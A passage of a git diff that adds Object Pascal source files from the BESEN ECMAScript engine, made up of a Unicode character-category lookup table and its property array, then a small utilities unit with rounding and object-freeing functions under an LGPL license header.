81 *) +115, 115, 115, 115, 115, 115, 115, 115, (* 81 *) +115, 115, 115, 115, 15, 15, 15, 15, (* 81 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 81 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 81 *) + 15, 15, 15, 15, 15, 15, 116, 116, (* 81 *) +116, 116, 116, 116, 116, 116, 116, 116, (* 81 *) +116, 116, 116, 116, 116, 116, 116, 116, (* 82 *) +116, 116, 116, 116, 116, 116, 116, 116, (* 82 *) +117, 117, 117, 117, 117, 117, 117, 117, (* 82 *) +117, 117, 117, 117, 117, 117, 117, 117, (* 82 *) +117, 117, 117, 117, 117, 117, 117, 117, (* 82 *) +117, 117, 118, 46, 46, 46, 46, 46, (* 82 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 82 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 82 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 83 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 46, 46, (* 84 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 84 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 85 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 85 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 85 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 46, 46, 46, 46, (* 86 *) + 46, 46, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 86 *) + 46, 15, 15, 15, 15, 46, 15, 15, (* 87 *) + 15, 15, 46, 46, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 46, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 87 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 88 *) + 15, 15, 15, 15, 46, 15, 46, 15, (* 88 *) + 15, 15, 15, 46, 46, 46, 15, 46, (* 88 *) + 15, 15, 15, 15, 15, 15, 15, 46, (* 88 *) + 46, 15, 15, 15, 15, 15, 15, 15, (* 88 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 88 *) + 46, 46, 46, 46, 46, 46, 119, 119, (* 88 *) +119, 119, 119, 119, 119, 119, 119, 119, (* 88 *) +114, 114, 114, 114, 114, 114, 114, 114, (* 89 *) +114, 114, 83, 83, 83, 83, 83, 83, (* 89 *) + 83, 83, 83, 83, 15, 46, 46, 46, (* 89 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 89 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 89 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 89 *) + 46, 15, 15, 15, 15, 15, 15, 15, (* 89 *) + 15, 15, 15, 15, 15, 15, 15, 46, (* 89 *) + 2, 3, 3, 3, 15, 59, 3, 120, (* 90 *) + 5, 6, 5, 6, 5, 6, 5, 6, (* 90 *) + 5, 6, 15, 15, 5, 6, 5, 6, (* 90 *) + 5, 6, 5, 6, 8, 5, 6, 5, (* 90 *) + 15, 121, 121, 121, 121, 121, 121, 121, (* 90 *) +121, 121, 60, 60, 60, 60, 60, 60, (* 90 *) + 8, 59, 59, 59, 59, 59, 15, 15, (* 90 *) + 46, 46, 46, 46, 46, 46, 46, 15, (* 90 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 91 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 46, 46, 46, (* 92 *) + 46, 60, 60, 59, 59, 59, 59, 46, (* 92 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 92 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 93 *) + 40, 40, 40, 3, 59, 59, 59, 46, (* 93 *) + 46, 46, 46, 46, 46, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 46, 46, 46, (* 94 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 94 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 95 *) + 40, 40, 40, 40, 40, 40, 40, 46, (* 95 *) + 15, 15, 85, 85, 85, 85, 15, 15, (* 95 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 95 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 95 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 95 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 95 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 95 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 15, 46, 46, 46, (* 96 *) + 85, 85, 85, 85, 85, 85, 85, 85, (* 96 *) + 85, 85, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 96 *) + 15, 15, 15, 15, 46, 46, 46, 46, (* 97 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 97 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 97 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 97 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 97 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 97 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 97 *) + 15, 15, 15, 15, 46, 46, 46, 15, (* 97 *) +114, 114, 114, 114, 114, 114, 114, 114, (* 98 *) +114, 114, 15, 15, 15, 15, 15, 15, (* 98 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 98 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 98 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 98 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 98 *) + 15, 46, 46, 46, 46, 46, 46, 46, (* 98 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 98 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 46, 46, 46, 46, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 46, (* 99 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 46, (* 100 *) + 46, 46, 46, 15, 15, 15, 15, 15, (* 100 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 46, 46, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 101 *) + 15, 15, 15, 15, 15, 15, 15, 46, (* 101 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 102 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 102 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 102 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 102 *) + 40, 40, 40, 40, 40, 40, 46, 46, (* 102 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 102 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 102 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 102 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 103 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 103 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 103 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 103 *) + 40, 40, 40, 40, 46, 46, 46, 46, (* 103 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 103 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 103 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 103 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +122, 122, 122, 122, 122, 122, 122, 122, (* 104 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) +123, 123, 123, 123, 123, 123, 123, 123, (* 105 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 106 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 106 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 106 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 106 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 106 *) + 40, 40, 40, 40, 40, 40, 46, 46, (* 106 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 106 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 106 *) + 16, 16, 16, 16, 16, 16, 16, 46, (* 107 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 107 *) + 46, 46, 46, 16, 16, 16, 16, 16, (* 107 *) + 46, 46, 46, 46, 46, 46, 60, 40, (* 107 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 107 *) + 40, 7, 40, 40, 40, 40, 40, 40, (* 107 *) + 40, 40, 40, 40, 40, 40, 40, 46, (* 107 *) + 40, 40, 40, 40, 40, 46, 40, 46, (* 107 *) + 40, 40, 46, 40, 40, 46, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 108 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 109 *) + 40, 40, 46, 46, 46, 46, 46, 46, (* 109 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 109 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 110 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 110 *) + 46, 46, 46, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 110 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 111 *) + 40, 40, 40, 40, 40, 40, 5, 6, (* 111 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 112 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 112 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 46, 46, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 113 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 114 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 114 *) + 40, 40, 40, 40, 46, 46, 46, 46, (* 114 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 115 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 115 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 115 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 115 *) + 60, 60, 60, 60, 46, 46, 46, 46, (* 115 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 115 *) + 3, 8, 8, 12, 12, 5, 6, 5, (* 115 *) + 6, 5, 6, 5, 6, 5, 6, 5, (* 115 *) + 6, 5, 6, 5, 6, 46, 46, 46, (* 116 *) + 46, 3, 3, 3, 3, 12, 12, 12, (* 116 *) + 3, 3, 3, 46, 3, 3, 3, 3, (* 116 *) + 8, 5, 6, 5, 6, 5, 6, 3, (* 116 *) + 3, 3, 7, 8, 7, 7, 7, 46, (* 116 *) + 3, 4, 3, 3, 46, 46, 46, 46, (* 116 *) + 40, 40, 40, 46, 40, 46, 40, 40, (* 116 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 116 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 117 *) + 40, 40, 40, 40, 40, 46, 46, 104, (* 117 *) + 46, 3, 3, 3, 4, 3, 3, 3, (* 118 *) + 5, 6, 3, 7, 3, 8, 3, 3, (* 118 *) + 9, 9, 9, 9, 9, 9, 9, 9, (* 118 *) + 9, 9, 3, 3, 7, 7, 7, 3, (* 118 *) + 3, 10, 10, 10, 10, 10, 10, 10, (* 118 *) + 10, 10, 10, 10, 10, 10, 10, 10, (* 118 *) + 10, 10, 10, 10, 10, 10, 10, 10, (* 118 *) + 10, 10, 10, 5, 3, 6, 11, 12, (* 118 *) + 11, 13, 13, 13, 13, 13, 13, 13, (* 119 *) + 13, 13, 13, 13, 13, 13, 13, 13, (* 119 *) + 13, 13, 13, 13, 13, 13, 13, 13, (* 119 *) + 13, 13, 13, 5, 7, 6, 7, 46, (* 119 *) + 46, 3, 5, 6, 3, 3, 40, 40, (* 119 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 119 *) + 59, 40, 40, 40, 40, 40, 40, 40, (* 119 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 119 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 59, 59, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 120 *) + 40, 40, 40, 40, 40, 40, 40, 46, (* 120 *) + 46, 46, 40, 40, 40, 40, 40, 40, (* 121 *) + 46, 46, 40, 40, 40, 40, 40, 40, (* 121 *) + 46, 46, 40, 40, 40, 40, 40, 40, (* 121 *) + 46, 46, 40, 40, 40, 46, 46, 46, (* 121 *) + 4, 4, 7, 11, 15, 4, 4, 46, (* 121 *) + 7, 7, 7, 7, 7, 15, 15, 46, (* 121 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 121 *) + 46, 46, 46, 46, 46, 15, 46, 46); (* 121 *) + +UnicodeALut:array[0..123] of longword=( + $0001000F, (* 0 Cc, ignorable *) + $0004000F, (* 1 Cc, whitespace *) + $0004000C, (* 2 Zs, whitespace *) + $00000018, (* 3 Po *) + $0006001A, (* 4 Sc, currency *) + $00000015, (* 5 Ps *) + $00000016, (* 6 Pe *) + $00000019, (* 7 Sm *) + $00000014, (* 8 Pd *) + $00036089, (* 9 Nd, identifier part, decimal 16 *) + $0827FF81, (* 10 Lu, hasLower (add 32), identifier start, supradecimal 31 *) + $0000001B, (* 11 Sk *) + $00050017, (* 12 Pc, underscore *) + $0817FF82, (* 13 Ll, hasUpper (subtract 32), identifier start, supradecimal 31 *) + $0000000C, (* 14 Zs *) + $0000001C, (* 15 So *) + $00070182, (* 16 Ll, identifier start *) + $0000600B, (* 17 No, decimal 16 *) + $0000500B, (* 18 No, decimal 8 *) + $0000800B, (* 19 No, strange *) + $08270181, (* 20 Lu, hasLower (add 32), identifier start *) + $08170182, (* 21 Ll, hasUpper (subtract 32), identifier start *) + $E1D70182, (* 22 Ll, hasUpper (subtract -121), identifier start *) + $00670181, (* 23 Lu, hasLower (add 1), identifier start *) + $00570182, (* 24 Ll, hasUpper (subtract 1), identifier start *) + $CE670181, (* 25 Lu, hasLower (add -199), identifier start *) + $3A170182, (* 26 Ll, hasUpper (subtract 232), identifier start *) + $E1E70181, (* 27 Lu, hasLower (add -121), identifier start *) + $4B170182, (* 28 Ll, hasUpper (subtract 300), identifier start *) + $34A70181, (* 29 Lu, hasLower (add 210), identifier start *) + $33A70181, (* 30 Lu, hasLower (add 206), identifier start *) + $33670181, (* 31 Lu, hasLower (add 205), identifier start *) + $32A70181, (* 32 Lu, hasLower (add 202), identifier start *) + $32E70181, (* 33 Lu, hasLower (add 203), identifier start *) + $33E70181, (* 34 Lu, hasLower (add 207), identifier start *) + $34E70181, (* 35 Lu, hasLower (add 211), identifier start *) + $34670181, (* 36 Lu, hasLower (add 209), identifier start *) + $35670181, (* 37 Lu, hasLower (add 213), identifier start *) + $00070181, (* 38 Lu, identifier start *) + $36A70181, (* 39 Lu, hasLower (add 218), identifier start *) + $00070185, (* 40 Lo, identifier start *) + $36670181, (* 41 Lu, hasLower (add 217), identifier start *) + $36E70181, (* 42 Lu, hasLower (add 219), identifier start *) + $00AF0181, (* 43 Lu, hasLower (add 2), hasTitle, identifier start *) + $007F0183, (* 44 Lt, hasUpper (subtract 1), hasLower (add 1), hasTitle, identifier start *) + $009F0182, (* 45 Ll, hasUpper (subtract 2), hasTitle, identifier start *) + $00000000, (* 46 unassigned *) + $34970182, (* 47 Ll, hasUpper (subtract 210), identifier start *) + $33970182, (* 48 Ll, hasUpper (subtract 206), identifier start *) + $33570182, (* 49 Ll, hasUpper (subtract 205), identifier start *) + $32970182, (* 50 Ll, hasUpper (subtract 202), identifier start *) + $32D70182, (* 51 Ll, hasUpper (subtract 203), identifier start *) + $33D70182, (* 52 Ll, hasUpper (subtract 207), identifier start *) + $34570182, (* 53 Ll, hasUpper (subtract 209), identifier start *) + $34D70182, (* 54 Ll, hasUpper (subtract 211), identifier start *) + $35570182, (* 55 Ll, hasUpper (subtract 213), identifier start *) + $36970182, (* 56 Ll, hasUpper (subtract 218), identifier start *) + $36570182, (* 57 Ll, hasUpper (subtract 217), identifier start *) + $36D70182, (* 58 Ll, hasUpper (subtract 219), identifier start *) + $00070084, (* 59 Lm, identifier start *) + $00030086, (* 60 Mn, identifier part *) + $09A70181, (* 61 Lu, hasLower (add 38), identifier start *) + $09670181, (* 62 Lu, hasLower (add 37), identifier start *) + $10270181, (* 63 Lu, hasLower (add 64), identifier start *) + $0FE70181, (* 64 Lu, hasLower (add 63), identifier start *) + $09970182, (* 65 Ll, hasUpper (subtract 38), identifier start *) + $09570182, (* 66 Ll, hasUpper (subtract 37), identifier start *) + $10170182, (* 67 Ll, hasUpper (subtract 64), identifier start *) + $0FD70182, (* 68 Ll, hasUpper (subtract 63), identifier start *) + $0F970182, (* 69 Ll, hasUpper (subtract 62), identifier start *) + $0E570182, (* 70 Ll, hasUpper (subtract 57), identifier start *) + $0BD70182, (* 71 Ll, hasUpper (subtract 47), identifier start *) + $0D970182, (* 72 Ll, hasUpper (subtract 54), identifier start *) + $15970182, (* 73 Ll, hasUpper (subtract 86), identifier start *) + $14170182, (* 74 Ll, hasUpper (subtract 80), identifier start *) + $14270181, (* 75 Lu, hasLower (add 80), identifier start *) + $0C270181, (* 76 Lu, hasLower (add 48), identifier start *) + $0C170182, (* 77 Ll, hasUpper (subtract 48), identifier start *) + $00034089, (* 78 Nd, identifier part, decimal 0 *) + $00000087, (* 79 Me *) + $00030088, (* 80 Mc, identifier part *) + $00037489, (* 81 Nd, identifier part, decimal 26 *) + $00005A0B, (* 82 No, decimal 13 *) + $00006E0B, (* 83 No, decimal 23 *) + $0000740B, (* 84 No, decimal 26 *) + $0000000B, (* 85 No *) + $FE170182, (* 86 Ll, hasUpper (subtract -8), identifier start *) + $FE270181, (* 87 Lu, hasLower (add -8), identifier start *) + $ED970182, (* 88 Ll, hasUpper (subtract -74), identifier start *) + $EA970182, (* 89 Ll, hasUpper (subtract -86), identifier start *) + $E7170182, (* 90 Ll, hasUpper (subtract -100), identifier start *) + $E0170182, (* 91 Ll, hasUpper (subtract -128), identifier start *) + $E4170182, (* 92 Ll, hasUpper (subtract -112), identifier start *) + $E0970182, (* 93 Ll, hasUpper (subtract -126), identifier start *) + $FDD70182, (* 94 Ll, hasUpper (subtract -9), identifier start *) + $EDA70181, (* 95 Lu, hasLower (add -74), identifier start *) + $FDE70181, (* 96 Lu, hasLower (add -9), identifier start *) + $EAA70181, (* 97 Lu, hasLower (add -86), identifier start *) + $E7270181, (* 98 Lu, hasLower (add -100), identifier start *) + $FE570182, (* 99 Ll, hasUpper (subtract -7), identifier start *) + $E4270181, (* 100 Lu, hasLower (add -112), identifier start *) + $FE670181, (* 101 Lu, hasLower (add -7), identifier start *) + $E0270181, (* 102 Lu, hasLower (add -128), identifier start *) + $E0A70181, (* 103 Lu, hasLower (add -126), identifier start *) + $00010010, (* 104 Cf, ignorable *) + $0004000D, (* 105 Zl, whitespace *) + $0004000E, (* 106 Zp, whitespace *) + $0000400B, (* 107 No, decimal 0 *) + $0000440B, (* 108 No, decimal 2 *) + $0427438A, (* 109 Nl, hasLower (add 16), identifier start, decimal 1 *) + $0427818A, (* 110 Nl, hasLower (add 16), identifier start, strange *) + $0417638A, (* 111 Nl, hasUpper (subtract 16), identifier start, decimal 17 *) + $0417818A, (* 112 Nl, hasUpper (subtract 16), identifier start, strange *) + $0007818A, (* 113 Nl, identifier start, strange *) + $0000420B, (* 114 No, decimal 1 *) + $0000720B, (* 115 No, decimal 25 *) + $06A0001C, (* 116 So, hasLower (add 26) *) + $0690001C, (* 117 So, hasUpper (subtract 26) *) + $00006C0B, (* 118 No, decimal 22 *) + $0000560B, (* 119 No, decimal 11 *) + $0007738A, (* 120 Nl, identifier start, decimal 25 *) + $0007418A, (* 121 Nl, identifier start, decimal 0 *) + $00000013, (* 122 Cs *) + $00000012); (* 123 Co *) + + +implementation + +end. diff --git a/Core/JS/BESENUtils.pas b/Core/JS/BESENUtils.pas new file mode 100644 index 0000000..71c1da9 --- /dev/null +++ b/Core/JS/BESENUtils.pas @@ -0,0 +1,76 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENUtils; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +function BESENRoundUpToMask(x,m:ptruint):ptruint; +function BESENRoundUpToPowerOfTwo(x:ptruint):ptruint; + +procedure BESENFreeAndNil(var Obj); + +implementation + +function BESENRoundUpToMask(x,m:ptruint):ptruint; +begin + if (x and (m-1))<>0 then begin + result:=(x+m) and not (m-1); + end else begin + result:=x; + end; +end; + +function BESENRoundUpToPowerOfTwo(x:ptruint):ptruint; +begin + dec(x); + x:=x or (x shr 1); + x:=x or (x shr 2); + x:=x or (x shr 4); + x:=x or (x shr 8); + x:=x or (x shr 16); +{$ifdef cpu64} + x:=x or (x shr 32); +{$endif} + result:=x+1; +end; + +procedure BESENFreeAndNil(var Obj); +begin + if assigned(TObject(Obj)) then begin + TObject(Obj).Free; + TObject(Obj):=nil; + end; +end; + +end. diff --git a/Core/JS/BESENValue.pas b/Core/JS/BESENValue.pas new file mode 